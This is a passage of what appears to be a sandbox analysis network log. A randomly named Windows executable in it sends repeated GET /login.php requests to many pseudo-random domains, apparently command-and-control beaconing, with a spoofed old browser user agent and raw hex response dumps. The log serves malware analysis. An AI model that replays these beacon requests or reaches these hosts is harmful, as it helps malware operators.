57	192.168.2.6	52124	162.255.119.102	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.687438011 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:51:03.214816093 CET	303	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:51:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Location: http://www.gahyqah.com/login.php X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	52125	178.162.203.226	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.687581062 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	52126	188.114.96.3	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.691417933 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:51:03.387069941 CET	966	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:51:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3S6N%2FdXbrZYQHEs6X9pvchDPPcRSfj28bga8Xjo0OpfFATynLUC7cLpPRPuLRTA7xNHCoWOiKF%2BhEmsLhGZxaLdONiM9STO0gMfYDhBRiH93jXagf2Kgwqymu409FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1020cc18f24390-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1274&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	52128	188.114.96.3	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.787517071 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:51:03.512835979 CET	970	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:51:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m%2FNLXFZo7gMuEyQOH88caaMUP80aHjmpaw9%2B8jESWaOr8endqcT8id0qmPdlUhUEHIX4zjTTfndFdCDbM6%2F0i%2FdFUtJ3VuNq3M1PezeSSIssrYXsXBGN7UnWGmF7GA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1020cceeac5122-MSP alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33449&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 11, 2024 18:51:10.637952089 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:51:11.007024050 CET	982	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:51:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hyQKLiEgjNYtDIcdjIP%2FGvr8svV8jt%2FzSE36tHyi5s3aTbSlsBWkdw%2FtKW5fUeBjI00%2Fq4TQA99Mv6gf9%2BiKS0u5%2FpOnrTOiaV1r1ZZ8MVFbeS3TA%2Bl6l41NLREm3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1020fbdd645122-MSP alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33421&sent=4&recv=6&lost=0&retrans=0&sent_bytes=970&recv_bytes=486&delivery_rate=86727&cwnd=32&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	52129	18.208.156.248	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:02.822654963 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:03.250683069 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	52133	199.59.243.227	80	2268	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:03.045324087 CET	305	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Nov 11, 2024 18:51:03.476097107 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:02 GMT content-type: text/html; charset=utf-8 content-length: 1094 x-request-id: 79a69c9a-1d87-48f9-b717-b8432c593b33 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ== set-cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723; expires=Mon, 11 Nov 2024 18:06:03 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
Nov 11, 2024 18:51:03.476470947 CET	520	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWU4OTBhNzMtYWMzYi00MmQwLTgwNmYtMzk3MjVmYTRiNzIzIiwicGFnZV90aW1lIjoxNzMxMzQ3NDYzLCJwYWdlX3VybCI6Imh0dHA6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	52127	178.162.203.226	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:04.107654095 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	52146	44.221.84.105	80	3472	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:04.949095964 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347462\|1731347428\|17\|2\|0
Nov 11, 2024 18:51:05.395109892 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347465\|1731347428\|10\|3\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	52145	44.221.84.105	80	3472	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:04.989568949 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:05.390666008 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347465\|1731347428\|18\|2\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	52147	3.94.10.34	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:04.994530916 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:05.472032070 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347465\|1731347428\|18\|2\|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	52150	44.221.84.105	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:05.027436018 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:05.476411104 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347465\|1731347428\|18\|2\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	52149	208.100.26.245	80	3472	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:05.032504082 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:05.494735956 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:05 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:51:07.908651114 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:08.013308048 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:07 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	52163	178.162.203.226	80	3472	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:07.916671991 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	52164	199.191.50.83	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:07.916804075 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
